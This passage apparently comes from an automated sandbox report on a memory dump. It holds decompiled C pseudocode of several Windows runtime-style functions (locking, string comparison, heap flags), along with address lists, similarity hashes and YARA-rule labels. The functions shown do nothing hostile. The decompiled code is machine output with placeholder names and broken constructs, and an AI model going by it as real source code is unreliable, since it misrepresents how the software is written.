									 *((intOrPtr*)(_t108 + 0x18)) =  *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x24;
									E056FEEF0(0x57d79a0);
									__eflags =  *0x57d8210 - _t104; // 0x5282cf0
									if(__eflags == 0) {
										__eflags =  *((char*)(_t108 + 0xe));
										_t95 =  *((intOrPtr*)(_t108 + 0x14));
										 *0x57d8210 = _t102;
										_t32 = _t102 + 0xc; // 0x0
										 *_t95 =  *_t32;
										_t33 = _t102 + 0x10; // 0x0
										 *((intOrPtr*)(_t95 + 4)) =  *_t33;
										_t35 = _t102 + 4; // 0xffffffff
										 *((intOrPtr*)(_t95 + 8)) =  *_t35;
										if(__eflags != 0) {
											_t95 =  *((intOrPtr*)( *((intOrPtr*)(_t104 + 0x10))));
											E05764888(_t89,  *((intOrPtr*)( *((intOrPtr*)(_t104 + 0x10)))), __eflags);
										}
										E056FEB70(_t95, 0x57d79a0);
										asm("lock xadd [esi], eax");
										if(__eflags == 0) {
											_push( *((intOrPtr*)(_t104 + 4)));
											E057295D0();
											L057077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t104);
											_t102 =  *((intOrPtr*)(_t108 + 0x10));
										}
										asm("lock xadd [esi], ebx");
										__eflags = _t89 == 1;
										if(_t89 == 1) {
											_push( *((intOrPtr*)(_t104 + 4)));
											E057295D0();
											L057077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t104);
											_t102 =  *((intOrPtr*)(_t108 + 0x10));
										}
										_t49 = _t102;
										L4:
										return _t49;
									}
									E056FEB70(_t93, 0x57d79a0);
									asm("lock xadd [esi], eax");
									if(__eflags == 0) {
										_push( *((intOrPtr*)(_t104 + 4)));
										E057295D0();
										L057077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t104);
										_t102 =  *((intOrPtr*)(_t108 + 0x10));
									}
									 *_t102 = 1;
									asm("lock xadd [edi], eax");
									if(__eflags == 0) {
										_t28 = _t102 + 4; // 0xffffffff
										_push( *_t28);
										E057295D0();
										L057077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t102);
									}
									continue;
								}
								_t93 =  &_v20;
								 *((intOrPtr*)(_t108 + 0x20)) =  *((intOrPtr*)(_t104 + 0x10));
								_t85 = 6;
								_v20 = _t85;
								_t87 = E0571F0BF( &_v20,  *(_t104 + 0xe) & 0x0000ffff, __eflags,  &_v28);
								__eflags = _t87;
								if(_t87 < 0) {
									goto L3;
								}
								 *((char*)(_t108 + 0xe)) = 1;
								goto L15;
							}
							__eflags = _t53 - 0xc000026e;
							if(__eflags != 0) {
								goto L3;
							}
							goto L12;
						}
						__eflags = 0x7ffe02dc -  *((intOrPtr*)(_t108 + 0x14));
						if(0x7ffe02dc ==  *((intOrPtr*)(_t108 + 0x14))) {
							goto L3;
						} else {
							goto L9;
						}
					}
					L3:
					_t49 = _t104;
					goto L4;
				}
				_t49 = 0;
				goto L4;
			}

0x056e52a5
0x056e52ad
0x056e52b0
0x056e52b3
0x056e52b7
0x056e52ba
0x056e52bf
0x056e52c4
0x056e52cc
0x00000000
0x00000000
0x056e52ce
0x056e52d9
0x056e52dd
0x056e52e7
0x056e52f7
0x056e52f9
0x056e52fd
0x05740dcf
0x05740dd5
0x05740dd6
0x05740dd7
0x05740dd8
0x05740dd9
0x05740dde
0x05740ddf
0x05740de0
0x05740de1
0x05740de2
0x05740de5
0x05740dea
0x05740dec
0x05740f60
0x05740f64
0x05740f70
0x05740f76
0x05740f79
0x05740f79
0x00000000
0x05740f64
0x05740df2
0x05740df7
0x05740e04
0x05740e0d
0x05740e0d
0x05740e10
0x05740e1a
0x05740e1c
0x05740e4c
0x05740e52
0x05740e61
0x05740e67
0x05740e6b
0x05740e70
0x05740e76
0x05740ed7
0x05740edc
0x05740ee0
0x05740ee6
0x05740eea
0x05740eed
0x05740ef0
0x05740ef3
0x05740ef6
0x05740ef9
0x05740efe
0x05740f01
0x05740f01
0x05740f0b
0x05740f12
0x05740f16
0x05740f18
0x05740f1b
0x05740f2c
0x05740f31
0x05740f31
0x05740f35
0x05740f39
0x05740f3a
0x05740f3c
0x05740f3f
0x05740f50
0x05740f55
0x05740f55
0x05740f59
0x056e52eb
0x056e52f1
0x056e52f1
0x05740e7d
0x05740e84
0x05740e88
0x05740e8a
0x05740e8d
0x05740e9e
0x05740ea3
0x05740ea3
0x05740ea7
0x05740eaf
0x05740eb3
0x05740eb9
0x05740eb9
0x05740ebc
0x05740ecd
0x05740ecd
0x00000000
0x05740eb3
0x05740e21
0x05740e2b
0x05740e2f
0x05740e30
0x05740e3a
0x05740e3f
0x05740e41
0x00000000
0x00000000
0x05740e47
0x00000000
0x05740e47
0x05740df9
0x05740dfe
0x00000000
0x00000000
0x00000000
0x05740dfe
0x056e5303
0x056e5307
0x00000000
0x056e5309
0x00000000
0x056e5309
0x056e5307
0x056e52e9
0x056e52e9
0x00000000
0x056e52e9
0x056e530e
0x00000000

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08ce450539fa1ee207d793583107e0b7c1f6860985be3e337713774148433423
Instruction ID: b2d784ffb5c348a7d3c30a8cd01c15a74f06477009aa096ed1e1c436adf6c8cf
Opcode Fuzzy Hash: 08ce450539fa1ee207d793583107e0b7c1f6860985be3e337713774148433423
Instruction Fuzzy Hash: 7151FF71206342AFC321EF28C948B2BBBE5FF50714F14491EE59687651EB70E844EBA2

Uniqueness

Uniqueness Score: -1.00%

Function 05712AE4, Relevance: .2, Instructions: 159
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E05712AE4(intOrPtr* __ecx, intOrPtr __edx, signed int _a4, short* _a8, intOrPtr _a12, signed int* _a16) {
				signed short* _v8;
				signed short* _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr* _v28;
				signed int _v32;
				signed int _v36;
				short _t56;
				signed int _t57;
				intOrPtr _t58;
				signed short* _t61;
				intOrPtr _t72;
				intOrPtr _t75;
				intOrPtr _t84;
				intOrPtr _t87;
				intOrPtr* _t90;
				signed short* _t91;
				signed int _t95;
				signed short* _t96;
				intOrPtr _t97;
				intOrPtr _t102;
				signed int _t108;
				intOrPtr _t110;
				signed int _t111;
				signed short* _t112;
				void* _t113;
				signed int _t116;
				signed short** _t119;
				short* _t120;
				signed int _t123;
				signed int _t124;
				void* _t125;
				intOrPtr _t127;
				signed int _t128;

				_t90 = __ecx;
				_v16 = __edx;
				_t108 = _a4;
				_v28 = __ecx;
				_t4 = _t108 - 1; // -1
				if(_t4 > 0x13) {
					L15:
					_t56 = 0xc0000100;
					L16:
					return _t56;
				}
				_t57 = _t108 * 0x1c;
				_v32 = _t57;
				_t6 = _t57 + 0x57d8204; // 0x0
				_t123 =  *_t6;
				_t7 = _t57 + 0x57d8208; // 0x57d8207
				_t8 = _t57 + 0x57d8208; // 0x57d8207
				_t119 = _t8;
				_v36 = _t123;
				_t110 = _t7 + _t123 * 8;
				_v24 = _t110;
				_t111 = _a4;
				if(_t119 >= _t110) {
					L12:
					if(_t123 != 3) {
						_t58 =  *0x57d8450; // 0x0
						if(_t58 == 0) {
							_t58 =  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x48));
						}
					} else {
						_t26 = _t57 + 0x57d821c; // 0x0
						_t58 =  *_t26;
					}
					 *_t90 = _t58;
					goto L15;
				} else {
					goto L2;
				}
				while(1) {
					_t116 =  *_t61 & 0x0000ffff;
					_t128 =  *(_t127 + _t61) & 0x0000ffff;
					if(_t116 == _t128) {
						goto L18;
					}
					L5:
					if(_t116 >= 0x61) {
						if(_t116 > 0x7a) {
							_t97 =  *0x57d6d5c; // 0xff690654
							_t72 =  *0x57d6d5c; // 0xff690654
							_t75 =  *0x57d6d5c; // 0xff690654
							_t116 =  *((intOrPtr*)(_t75 + (( *(_t72 + (( *(_t97 + (_t116 >> 0x00000008 & 0x000000ff) * 2) & 0x0000ffff) + (_t116 >> 0x00000004 & 0x0000000f)) * 2) & 0x0000ffff) + (_t116 & 0x0000000f)) * 2)) + _t116 & 0x0000ffff;
						} else {
							_t116 = _t116 - 0x20;
						}
					}
					if(_t128 >= 0x61) {
						if(_t128 > 0x7a) {
							_t102 =  *0x57d6d5c; // 0xff690654
							_t84 =  *0x57d6d5c; // 0xff690654
							_t87 =  *0x57d6d5c; // 0xff690654
							_t128 =  *((intOrPtr*)(_t87 + (( *(_t84 + (( *(_t102 + (_t128 >> 0x00000008 & 0x000000ff) * 2) & 0x0000ffff) + (_t128 >> 0x00000004 & 0x0000000f)) * 2) & 0x0000ffff) + (_t128 & 0x0000000f)) * 2)) + _t128 & 0x0000ffff;
						} else {
							_t128 = _t128 - 0x20;
						}
					}
					if(_t116 == _t128) {
						_t61 = _v12;
						_t96 = _v8;
					} else {
						_t113 = _t116 - _t128;
						L9:
						_t111 = _a4;
						if(_t113 == 0) {
							_t115 =  &(( *_t119)[_t111 + 1]);
							_t33 =  &(_t119[1]); // 0x100
							_t120 = _a8;
							_t95 =  *_t33 -  &(( *_t119)[_t111 + 1]) >> 1;
							_t35 = _t95 - 1; // 0xff
							_t124 = _t35;
							if(_t120 == 0) {
								L27:
								 *_a16 = _t95;
								_t56 = 0xc0000023;
								goto L16;
							}
							if(_t124 >= _a12) {
								if(_a12 >= 1) {
									 *_t120 = 0;
								}
								goto L27;
							}
							 *_a16 = _t124;
							_t125 = _t124 + _t124;
							E0572F3E0(_t120, _t115, _t125);
							_t56 = 0;
							 *((short*)(_t125 + _t120)) = 0;
							goto L16;
						}
						_t119 =  &(_t119[2]);
						if(_t119 < _v24) {
							L2:
							_t91 =  *_t119;
							_t61 = _t91;
							_v12 = _t61;
							_t112 =  &(_t61[_t111]);
							_v8 = _t112;
							if(_t61 >= _t112) {
								break;
							} else {
								_t127 = _v16 - _t91;
								_t96 = _t112;
								_v20 = _t127;
								_t116 =  *_t61 & 0x0000ffff;
								_t128 =  *(_t127 + _t61) & 0x0000ffff;
								if(_t116 == _t128) {
									goto L18;
								}
								goto L5;
							}
						} else {
							_t90 = _v28;
							_t57 = _v32;
							_t123 = _v36;
							goto L12;
						}
					}
					L18:
					_t61 =  &(_t61[1]);
					_v12 = _t61;
					if(_t61 >= _t96) {
						break;
					}
					_t127 = _v20;
				}
				_t113 = 0;
				goto L9;
			}

0x05712ae4
0x05712aec
0x05712aef
0x05712af4
0x05712af7
0x05712afd
0x05712b92
0x05712b92
0x05712b97
0x05712b9c
0x05712b9c
0x05712b03
0x05712b06
0x05712b09
0x05712b09
0x05712b0f
0x05712b15
0x05712b15
0x05712b1b
0x05712b1e
0x05712b21
0x05712b26
0x05712b29
0x05712b81
0x05712b84
0x05712c0e
0x05712c15
0x05712c24
0x05712c24
0x05712b8a
0x05712b8a
0x05712b8a
0x05712b8a
0x05712b90
0x00000000
0x00000000
0x00000000
0x00000000
0x05712b4a
0x05712b4a
0x05712b4d
0x05712b53
0x00000000
0x00000000
0x05712b55
0x05712b58
0x05712bb7
0x05755d1b
0x05755d37
0x05755d47
0x05755d53
0x05712bbd
0x05712bbd
0x05712bbd
0x05712bb7
0x05712b5d
0x05712c2f
0x05755d5b
0x05755d77
0x05755d87
0x05755d93
0x05712c35
0x05712c35
0x05712c35
0x05712c2f
0x05712b65
0x05712b9f
0x05712ba2
0x05712b67
0x05712b67
0x05712b69
0x05712b6b
0x05712b6e
0x05712bc9
0x05712bcc
0x05712bcf
0x05712bd4
0x05712bd6
0x05712bd6
0x05712bdb
0x05712c02
0x05712c05
0x05712c07
0x00000000
0x05712c07
0x05712be0
0x05712c00
0x05712c3f
0x05712c3f
0x00000000
0x05712c00
0x05712be5
0x05712be7
0x05712bec
0x05712bf4
0x05712bf6
0x00000000
0x05712bf6
0x05712b70
0x05712b76
0x05712b2b
0x05712b2b
0x05712b2d
0x05712b2f
0x05712b32
0x05712b35
0x05712b3a
0x00000000
0x05712b40
0x05712b43
0x05712b45
0x05712b47
0x05712b4a
0x05712b4d
0x05712b53
0x00000000
0x00000000
0x00000000
0x05712b53
0x05712b78
0x05712b78
0x05712b7b
0x05712b7e
0x00000000
0x05712b7e
0x05712b76
0x05712ba5
0x05712ba5
0x05712ba8
0x05712bad
0x00000000
0x00000000
0x05712baf
0x05712baf
0x05712bc2
0x00000000

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee90f7982ad4d6c99d69a4bb400055901916895101c76ac55848d64d0a185331
Instruction ID: 589011060ba4fae1a7139dfdd28f0f1daae4077add7f5bb9a9b5fe878b8aaff9
Opcode Fuzzy Hash: ee90f7982ad4d6c99d69a4bb400055901916895101c76ac55848d64d0a185331
Instruction Fuzzy Hash: 5F51EA7AB00125CFCB24CF1DC5809BDB7B2FB88700715845AEC569B366E734AE51E7A8

Uniqueness

Uniqueness Score: -1.00%

Function 057AAE44, Relevance: .2, Instructions: 152
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E057AAE44(signed char __ecx, signed int __edx, signed int _a4, signed char _a8, signed int* _a12) {
				signed int _v8;
				signed int _v12;
				void* __esi;
				void* __ebp;
				signed short* _t36;
				signed int _t41;
				char* _t42;
				intOrPtr _t43;
				signed int _t47;
				void* _t52;
				signed int _t57;
				intOrPtr _t61;
				signed char _t62;
				signed int _t72;
				signed char _t85;
				signed int _t88;

				_t73 = __edx;
				_push(__ecx);
				_t85 = __ecx;
				_v8 = __edx;
				_t61 =  *((intOrPtr*)(__ecx + 0x28));
				_t57 = _a4 |  *(__ecx + 0xc) & 0x11000001;
				if(_t61 != 0 && _t61 ==  *((intOrPtr*)( *[fs:0x18] + 0x24))) {
					_t57 = _t57 | 0x00000001;
				}
				_t88 = 0;
				_t36 = 0;
				_t96 = _a12;
				if(_a12 == 0) {
					_t62 = _a8;
					__eflags = _t62;
					if(__eflags == 0) {
						goto L12;
					}
					_t52 = E057AC38B(_t85, _t73, _t57, 0);
					_t62 = _a8;
					 *_t62 = _t52;
					_t36 = 0;
					goto L11;
				} else {
					_t36 = E057AACFD(_t85, _t73, _t96, _t57, _a8);
					if(0 == 0 || 0 == 0xffffffff) {
						_t72 = _t88;
					} else {
						_t72 =  *0x00000000 & 0x0000ffff;
					}
					 *_a12 = _t72;
					_t62 = _a8;
					L11:
					_t73 = _v8;
					L12:
					if((_t57 & 0x01000000) != 0 ||  *((intOrPtr*)(_t85 + 0x20)) == _t88) {
						L19:
						if(( *(_t85 + 0xc) & 0x10000000) == 0) {
							L22:
							_t74 = _v8;
							__eflags = _v8;
							if(__eflags != 0) {
								L25:
								__eflags = _t88 - 2;
								if(_t88 != 2) {
									__eflags = _t85 + 0x44 + (_t88 << 6);
									_t88 = E057AFDE2(_t85 + 0x44 + (_t88 << 6), _t74, _t57);
									goto L34;
								}
								L26:
								_t59 = _v8;
								E057AEA55(_t85, _v8, _t57);
								asm("sbb esi, esi");
								_t88 =  ~_t88;
								_t41 = E05707D50();
								__eflags = _t41;
								if(_t41 == 0) {
									_t42 = 0x7ffe0380;
								} else {
									_t42 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
								}
								__eflags =  *_t42;
								if( *_t42 != 0) {
									_t43 =  *[fs:0x30];
									__eflags =  *(_t43 + 0x240) & 0x00000001;
									if(( *(_t43 + 0x240) & 0x00000001) != 0) {
										__eflags = _t88;
										if(_t88 != 0) {
											E057A1608(_t85, _t59, 3);
										}
									}
								}
								goto L34;
							}
							_push(_t62);
							_t47 = E057B1536(0x57d8ae4, (_t74 -  *0x57d8b04 >> 0x14) + (_t74 -  *0x57d8b04 >> 0x14), _t88, __eflags);
							__eflags = _t47;
							if(_t47 == 0) {
								goto L26;
							}
							_t74 = _v12;
							_t27 = _t47 - 1; // -1
							_t88 = _t27;
							goto L25;
						}
						_t62 = _t85;
						if(L057AC323(_t62, _v8, _t57) != 0xffffffff) {
							goto L22;
						}
						_push(_t62);
						_push(_t88);
						E057AA80D(_t85, 9, _v8, _t88);
						goto L34;
					} else {
						_t101 = _t36;
						if(_t36 != 0) {
							L16:
							if(_t36 == 0xffffffff) {
								goto L19;
							}
							_t62 =  *((intOrPtr*)(_t36 + 2));
							if((_t62 & 0x0000000f) == 0) {
								goto L19;
							}
							_t62 = _t62 & 0xf;
							if(E0578CB1E(_t62, _t85, _v8, 3, _t36 + 8) < 0) {
								L34:
								return _t88;
							}
							goto L19;
						}
						_t62 = _t85;
						_t36 = E057AACFD(_t62, _t73, _t101, _t57, _t62);
						if(_t36 == 0) {
							goto L19;
						}
						goto L16;
					}
				}
			}

0x057aae44
0x057aae4c
0x057aae53
0x057aae55
0x057aae5c
0x057aae64
0x057aae68
0x057aae75
0x057aae75
0x057aae78
0x057aae7a
0x057aae7c
0x057aae7f
0x057aaea8
0x057aaeab
0x057aaead
0x00000000
0x00000000
0x057aaeb3
0x057aaeb8
0x057aaebb
0x057aaebd
0x00000000
0x057aae81
0x057aae88
0x057aae8f
0x057aae9b
0x057aae96
0x057aae96
0x057aae96
0x057aaea0
0x057aaea3
0x057aaebf
0x057aaebf
0x057aaec3
0x057aaec9
0x057aaf0d
0x057aaf14
0x057aaf3d
0x057aaf3d
0x057aaf41
0x057aaf44
0x057aaf67
0x057aaf67
0x057aaf6a
0x057aafca
0x057aafd1
0x00000000
0x057aafd1
0x057aaf6c
0x057aaf6d
0x057aaf75
0x057aaf7c
0x057aaf7e
0x057aaf80
0x057aaf85
0x057aaf87
0x057aaf99
0x057aaf89
0x057aaf92
0x057aaf92
0x057aaf9e
0x057aafa1
0x057aafa3
0x057aafa9
0x057aafb0
0x057aafb2
0x057aafb4
0x057aafbc
0x057aafbc
0x057aafb4
0x057aafb0
0x00000000
0x057aafa1
0x057aaf4f
0x057aaf57
0x057aaf5c
0x057aaf5e
0x00000000
0x00000000
0x057aaf60
0x057aaf64
0x057aaf64
0x00000000
0x057aaf64
0x057aaf1a
0x057aaf25
0x00000000
0x00000000
0x057aaf27
0x057aaf28
0x057aaf33
0x00000000
0x057aaed0
0x057aaed0
0x057aaed2
0x057aaee1
0x057aaee4
0x00000000
0x00000000
0x057aaee6
0x057aaeec
0x00000000
0x00000000
0x057aaefb
0x057aaf07
0x057aafd3
0x057aafdb
0x057aafdb
0x00000000
0x057aaf07
0x057aaed6
0x057aaed8
0x057aaedf
0x00000000
0x00000000
0x00000000
0x057aaedf
0x057aaec9

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9731f2e06ada47965bcf4826fbb04a5867f019d27c1b66a240adc2e281217ec5
Instruction ID: 3c805ef4bf1700bce5b6c612977d86f6f5d4583127c05e08270f3de0e91f6b43
Opcode Fuzzy Hash: 9731f2e06ada47965bcf4826fbb04a5867f019d27c1b66a240adc2e281217ec5
Instruction Fuzzy Hash: 1C41B5B37096119BD72ADA25C899F7BB79ABFC4620F044719FC1787290DB34D801E7A1

Uniqueness

Uniqueness Score: -1.00%

Function 0570DBE9, Relevance: .1, Instructions: 149
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E0570DBE9(intOrPtr __ecx, intOrPtr __edx, signed int* _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v5;
				signed int _v12;
				signed int* _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				void* __ebx;
				void* __edi;
				signed int _t54;
				char* _t58;
				signed int _t66;
				intOrPtr _t67;
				intOrPtr _t68;
				intOrPtr _t72;
				intOrPtr _t73;
				signed int* _t75;
				intOrPtr _t79;
				intOrPtr _t80;
				char _t82;
				signed int _t83;
				signed int _t84;
				signed int _t88;
				signed int _t89;
				intOrPtr _t90;
				intOrPtr _t92;
				signed int _t97;
				intOrPtr _t98;
				intOrPtr* _t99;
				signed int* _t101;
				signed int* _t102;
				intOrPtr* _t103;
				intOrPtr _t105;
				signed int _t106;
				void* _t118;

				_t92 = __edx;
				_t75 = _a4;
				_t98 = __ecx;
				_v44 = __edx;
				_t106 = _t75[1];
				_v40 = __ecx;
				if(_t106 < 0 || _t106 <= 0 &&  *_t75 < 0) {
					_t82 = 0;
				} else {
					_t82 = 1;
				}
				_v5 = _t82;
				_t6 = _t98 + 0xc8; // 0xc9
				_t101 = _t6;
				 *((intOrPtr*)(_t98 + 0xd4)) = _a12;
				_v16 = _t92 + ((0 | _t82 != 0x00000000) - 0x00000001 & 0x00000048) + 8;
				 *((intOrPtr*)(_t98 + 0xd8)) = _a8;
				if(_t82 != 0) {
					 *(_t98 + 0xde) =  *(_t98 + 0xde) | 0x00000002;
					_t83 =  *_t75;
					_t54 = _t75[1];
					 *_t101 = _t83;
					_t84 = _t83 | _t54;
					_t101[1] = _t54;
					if(_t84 == 0) {
						_t101[1] = _t101[1] & _t84;
						 *_t101 = 1;
					}
					goto L19;
				} else {
					if(_t101 == 0) {
						E056ECC50(E056E4510(0xc000000d));
						_t88 =  *_t101;
						_t97 = _t101[1];
						L15:
						_v12 = _t88;
						_t66 = _t88 -  *_t75;
						_t89 = _t97;
						asm("sbb ecx, [ebx+0x4]");
						_t118 = _t89 - _t97;
						if(_t118 <= 0 && (_t118 < 0 || _t66 < _v12)) {
							_t66 = _t66 | 0xffffffff;
							_t89 = 0x7fffffff;
						}
						 *_t101 = _t66;
						_t101[1] = _t89;
						L19:
						if(E05707D50() != 0) {
							_t58 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
						} else {
							_t58 = 0x7ffe0386;
						}
						_t102 = _v16;
						if( *_t58 != 0) {
							_t58 = E057B8ED6(_t102, _t98);
						}
						_t76 = _v44;
						E05702280(_t58, _v44);
						E0570DD82(_v44, _t102, _t98);
						E0570B944(_t102, _v5);
						return E056FFFB0(_t76, _t98, _t76);
					}
					_t99 = 0x7ffe03b0;
					do {
						_t103 = 0x7ffe0010;
						do {
							_t67 =  *0x57d8628; // 0x0
							_v28 = _t67;
							_t68 =  *0x57d862c; // 0x0
							_v32 = _t68;
							_v24 =  *((intOrPtr*)(_t99 + 4));
							_v20 =  *_t99;
							while(1) {
								_t97 =  *0x7ffe000c;
								_t90 =  *0x7FFE0008;
								if(_t97 ==  *_t103) {
									goto L10;
								}
								asm("pause");
							}
							L10:
							_t79 = _v24;
							_t99 = 0x7ffe03b0;
							_v12 =  *0x7ffe03b0;
							_t72 =  *0x7FFE03B4;
							_t103 = 0x7ffe0010;
							_v36 = _t72;
						} while (_v20 != _v12 || _t79 != _t72);
						_t73 =  *0x57d8628; // 0x0
						_t105 = _v28;
						_t80 =  *0x57d862c; // 0x0
					} while (_t105 != _t73 || _v32 != _t80);
					_t98 = _v40;
					asm("sbb edx, [ebp-0x20]");
					_t88 = _t90 - _v12 - _t105;
					_t75 = _a4;
					asm("sbb edx, eax");
					_t31 = _t98 + 0xc8; // 0x57afb53
					_t101 = _t31;
					 *_t101 = _t88;
					_t101[1] = _t97;
					goto L15;
				}
			}

0x0570dbe9
0x0570dbf2
0x0570dbf7
0x0570dbf9
0x0570dbfc
0x0570dc00
0x0570dc03
0x0570dc14
0x0570dd54
0x0570dd54
0x0570dd54
0x0570dc18
0x0570dc1d
0x0570dc1d
0x0570dc32
0x0570dc3b
0x0570dc3e
0x0570dc46
0x0570dd5b
0x0570dd62
0x0570dd64
0x0570dd67
0x0570dd69
0x0570dd6b
0x0570dd6e
0x0570dd70
0x0570dd73
0x0570dd73
0x00000000
0x0570dc4c
0x0570dc4e
0x05753ae3
0x05753ae8
0x05753aea
0x0570dce7
0x0570dce9
0x0570dcec
0x0570dcee
0x0570dcf0
0x0570dcf3
0x0570dcf5
0x05753af2
0x05753af5
0x05753af5
0x0570dd06
0x0570dd08
0x0570dd0b
0x0570dd12
0x05753b08
0x0570dd18
0x0570dd18
0x0570dd18
0x0570dd20
0x0570dd23
0x05753b16
0x05753b16
0x0570dd29
0x0570dd2d
0x0570dd36
0x0570dd40
0x0570dd51
0x0570dd51
0x0570dc54
0x0570dc59
0x0570dc59
0x0570dc5e
0x0570dc5e
0x0570dc63
0x0570dc66
0x0570dc6b
0x0570dc78
0x0570dc7b
0x0570dc81
0x0570dc81
0x0570dc83
0x0570dc89
0x00000000
0x00000000
0x0570dd7b
0x0570dd7b
0x0570dc8f
0x0570dc8f
0x0570dc92
0x0570dc99
0x0570dc9f
0x0570dca5
0x0570dcaa
0x0570dcaa
0x0570dcb3
0x0570dcb8
0x0570dcbb
0x0570dcc1
0x0570dccf
0x0570dcd2
0x0570dcd5
0x0570dcd7
0x0570dcda
0x0570dcdc
0x0570dcdc
0x0570dce2
0x0570dce4
0x00000000
0x0570dce4

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92bbddbced68522177a9d439201f8ab85301e736954c9e2596059be56f236654
Instruction ID: d75a5bfd21bc52a8b77c09ceedcdd7d99990e0cccec44b303e3576f274f1cb39
Opcode Fuzzy Hash: 92bbddbced68522177a9d439201f8ab85301e736954c9e2596059be56f236654
Instruction Fuzzy Hash: D451BEB5A01315DFCB24CFA8C480BAEFBF2BB48320F20855AD955A7384DB71A945DB91

Uniqueness

Uniqueness Score: -1.00%

Function 056FEF40, Relevance: .1, Instructions: 147
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E056FEF40(intOrPtr __ecx) {
				char _v5;
				char _v6;
				char _v7;
				char _v8;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t58;
				char _t59;
				signed char _t69;
				void* _t73;
				signed int _t74;
				char _t79;
				signed char _t81;
				signed int _t85;
				signed int _t87;
				intOrPtr _t90;
				signed char* _t91;
				void* _t92;
				signed int _t94;
				void* _t96;

				_t90 = __ecx;
				_v16 = __ecx;
				if(( *(__ecx + 0x14) & 0x04000000) != 0) {
					_t58 =  *((intOrPtr*)(__ecx));
					if(_t58 != 0xffffffff &&  *((intOrPtr*)(_t58 + 8)) == 0) {
						E056E9080(_t73, __ecx, __ecx, _t92);
					}
				}
				_t74 = 0;
				_t96 =  *0x7ffe036a - 1;
				_v12 = 0;
				_v7 = 0;
				if(_t96 > 0) {
					_t74 =  *(_t90 + 0x14) & 0x00ffffff;
					_v12 = _t74;
					_v7 = _t96 != 0;
				}
				_t79 = 0;
				_v8 = 0;
				_v5 = 0;
				while(1) {
					L4:
					_t59 = 1;
					L5:
					while(1) {
						if(_t59 == 0) {
							L12:
							_t21 = _t90 + 4; // 0x77dfc21e
							_t87 =  *_t21;
							_v6 = 0;
							if(_t79 != 0) {
								if((_t87 & 0x00000002) != 0) {
									goto L19;
								}
								if((_t87 & 0x00000001) != 0) {
									_v6 = 1;
									_t74 = _t87 ^ 0x00000003;
								} else {
									_t51 = _t87 - 2; // -2
									_t74 = _t51;
								}
								goto L15;
							} else {
								if((_t87 & 0x00000001) != 0) {
									_v6 = 1;
									_t74 = _t87 ^ 0x00000001;
								} else {
									_t26 = _t87 - 4; // -4
									_t74 = _t26;
									if((_t74 & 0x00000002) == 0) {
										_t74 = _t74 - 2;
									}
								}
								L15:
								if(_t74 == _t87) {
									L19:
									E056E2D8A(_t74, _t90, _t87, _t90);
									_t74 = _v12;
									_v8 = 1;
									if(_v7 != 0 && _t74 > 0x64) {
										_t74 = _t74 - 1;
										_v12 = _t74;
									}
									_t79 = _v5;
									goto L4;
								}
								asm("lock cmpxchg [esi], ecx");
								if(_t87 != _t87) {
									_t74 = _v12;
									_t59 = 0;
									_t79 = _v5;
									continue;
								}
								if(_v6 != 0) {
									_t74 = _v12;
									L25:
									if(_v7 != 0) {
										if(_t74 < 0x7d0) {
											if(_v8 == 0) {
												_t74 = _t74 + 1;
											}
										}
										_t38 = _t90 + 0x14; // 0x0
										_t39 = _t90 + 0x14; // 0x0
										_t85 = ( *_t38 ^ _t74) & 0x00ffffff ^  *_t39;
										if( *((intOrPtr*)( *[fs:0x30] + 0x64)) == 1) {
											_t85 = _t85 & 0xff000000;
										}
										 *(_t90 + 0x14) = _t85;
									}
									 *((intOrPtr*)(_t90 + 0xc)) =  *((intOrPtr*)( *[fs:0x18] + 0x24));
									 *((intOrPtr*)(_t90 + 8)) = 1;
									return 0;
								}
								_v5 = 1;
								_t87 = _t74;
								goto L19;
							}
						}
						_t94 = _t74;
						_v20 = 1 + (0 | _t79 != 0x00000000) * 2;
						if(_t74 == 0) {
							goto L12;
						} else {
							_t91 = _t90 + 4;
							goto L8;
							L9:
							while((_t81 & 0x00000001) != 0) {
								_t69 = _t81;
								asm("lock cmpxchg [edi], edx");
								if(_t69 != _t81) {
									_t81 = _t69;
									continue;
								}
								_t90 = _v16;
								goto L25;
							}
							asm("pause");
							_t94 = _t94 - 1;
							if(_t94 != 0) {
								L8:
								_t81 =  *_t91;
								goto L9;
							} else {
								_t90 = _v16;
								_t79 = _v5;
								goto L12;
							}
						}
					}
				}
			}

0x056fef4b
0x056fef4d
0x056fef57
0x056ff0bd
0x056ff0c2
0x056ff0d2
0x056ff0d2
0x056ff0c2
0x056fef5d
0x056fef5f
0x056fef67
0x056fef6a
0x056fef6d
0x056fef74
0x056fef7f
0x056fef82
0x056fef82
0x056fef86
0x056fef88
0x056fef8c
0x056fef8f
0x056fef8f
0x056fef8f
0x00000000
0x056fef91
0x056fef93
0x056fefc4
0x056fefc4
0x056fefc4
0x056fefca
